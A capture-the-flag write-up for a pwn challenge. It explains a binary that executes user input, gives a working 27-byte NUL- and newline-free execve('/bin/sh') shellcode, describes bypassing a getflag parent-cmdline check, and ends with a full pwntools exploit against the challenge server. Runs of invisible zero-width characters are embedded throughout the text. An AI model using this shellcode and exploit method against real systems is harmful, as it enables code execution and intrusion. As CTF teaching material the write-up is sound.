← Back to Writeups
CUSTOMEasypwn

pwn4 getflag_no_zeroes

XESXOR9/2/20264 min read
#pwn#custom#easy#dump_and_disassemble_getflag#execve_bin_sh#getflag_via_exec#neg_trick_string#newline_free_shellcode#null_free_shellcode#linux

pwn4 getflag_no_zeroes

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: dump_and_disassemble_getflag, execve_bin_sh, getflag_via_exec, neg_trick_string, newline_free_shellcode, null_free_shellcode

Summary

Task: x86-64 non-PIE binary reads input with fgets, strcpy's it into an mmap RWX page, then calls it — shellcode must be both NUL-free (strcpy) and newline-free (fgets). Solution: 27-byte null/newline-free execve(/bin/sh) using the NEG trick to build the /bin/sh string, then exec /bin/getflag from the shell — getflag's 17-byte cmdline memcmp passes for free because the launcher is already sh -c '/task 2>&1'.

pwn4 getflag_no_zeroes — pwn_spbctf

Description

Run the shellcode and call /bin/getflag

Author: George Zaytsev (@groke). Tier pwn4 ("shellcoding"). Platform: pwn.spbctf.ru, remote nc 109.233.56.90 11669.

A 64-bit x86-64 ELF reads a line from us, copies it into an executable page, and jumps to it. We must supply shellcode that survives two filters and ultimately read the flag through the /bin/getflag helper.

Analysis

Binary properties: 64-bit x86-64 ELF, non-PIE (base 0x400000), NX, no canary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main @ 0x4005c0:

  1. mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC=7, MAP_PRIVATE|MAP_ANON=0x22, -1, 0) → returns an RWX page in rax, saved at [rbp-0x10].
  2. fgets(buf=[rbp-0x410], 0x400, stdin) → reads our input. fgets stops at a newline 0x0a and NUL-terminates.
  3. strcpy(page, buf) → copies the buffer into the RWX page. strcpy stops at the first NUL 0x00.
  4. call page → executes whatever made it into the page.

The constraint (the whole point of the challenge)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The shellcode that actually runs is everything in buf up to the first 0x00 (strcpy) — and buf itself can only contain bytes up to the first 0x0a (fgets). So the shellcode must be:

  • NUL-free (no 0x00) — otherwise strcpy truncates it.
  • Newline-free (no 0x0a) — otherwise fgets truncates it.

The task name no_zeroes is the hint: no zero bytes (and, for free, no newline bytes).

Solution

Step 1 — null/newline-free execve("/bin/sh", 0, 0)

A naive execve shellcode embeds the literal string "/bin/sh\0", which contains a 0x00, and often pushes immediates that contain zero bytes. The standard fix is the NEG trick: instead of placing /bin/sh\0 directly, place its two's-complement negation as an immediate and neg it back on the stack at runtime, so no zero byte appears in the encoded instruction. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

27-byte shellcode (hex):

31c0 48bb d19d9691d08c97ff 48f7db 53 54 5f 99 52 57 54 5e b03b 0f05

Disassembly:

asm
xor    eax, eax                ; rax = 0
mov    rbx, 0xff978cd091969dd1 ; = -("/bin/sh") encoded, no 0x00 / 0x0a bytes
neg    rbx                     ; rbx = "/bin/sh\0" (the NUL appears only at runtime)
push   rbx
push   rsp
pop    rdi                     ; rdi -> "/bin/sh"
cdq                            ; rdx = 0
push   rdx
push   rdi
push   rsp
pop    rsi                     ; rsi -> argv = ["/bin/sh", NULL]
mov    al, 0x3b                ; __NR_execve
syscall

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Verify it really is clean:

python
sc = bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05")
assert len(sc) == 27
assert b"\x00" not in sc and b"\x0a" not in sc

Sending sc over the socket (and keeping stdin open) drops us into a shell. On the container this shell runs as uid=6(man).

Step 2 — read the flag via /bin/getflag (the part the sibling tasks get wrong)

/bin/getflag is a setuid-ish helper that authenticates its parent rather than its caller. Reversing the actual binary on this container (dump it through the shell, base64 it out, disassemble) shows: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
snprintf(path, "/proc/%d/cmdline", getppid());
read(path, cmdline, ...);
if (memcmp(cmdline, magic, 0x11) == 0)   // ONLY 17 bytes
    print_flag();
else
    puts("No cheating!");

The magic here is the 17-byte string:

sh\0-c\0/task 2>&1\0

This is NOT the long sh\0-c\0x86_64 -R /ld-2.31.so --preload /libc-2.31.so /task 2>&1 magic used by the sibling rop_shellcode / rop_rop containers — and those ld-2.31.so / libc-2.31.so files don't even exist on this box.

The server launches our binary via sh -c '/task 2>&1'. That launcher's /proc/<pid>/cmdline is exactly sh\0-c\0/task 2>&1\0 — the 17-byte magic. So if getflag's parent is that launcher, the check passes for free. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

From our shellcode shell, the parent process is that sh -c '/task 2>&1' launcher. Therefore we simply:

sh
exec /bin/getflag

exec replaces the shell in place, so getflag's getppid() resolves to the sh -c '/task 2>&1' launcher, the 17-byte memcmp matches, and the flag prints. No PATH-shim is needed.

The PATH-shim trick (creating /tmp/x86_64 plus --preload /libc-2.31.so) printed No cheating! / No flag here, because the real check is only 17 bytes against a different string. Dumping and disassembling the actual getflag — instead of trusting the magic inherited from a sibling challenge — was the decisive move. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full exploit

python
#!/usr/bin/env python3
from pwn import *

# null-free + newline-free execve("/bin/sh", 0, 0), NEG-trick "/bin/sh"
sc = bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05")
assert len(sc) == 27
assert b"\x00" not in sc and b"\x0a" not in sc

io = remote("109.233.56.90", 11669)
io.sendline(sc)              # fgets reads up to newline; strcpy copies up to NUL
io.sendline(b"exec /bin/getflag")  # parent cmdline already == 17-byte magic
io.interactive()             # -> spbctf{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍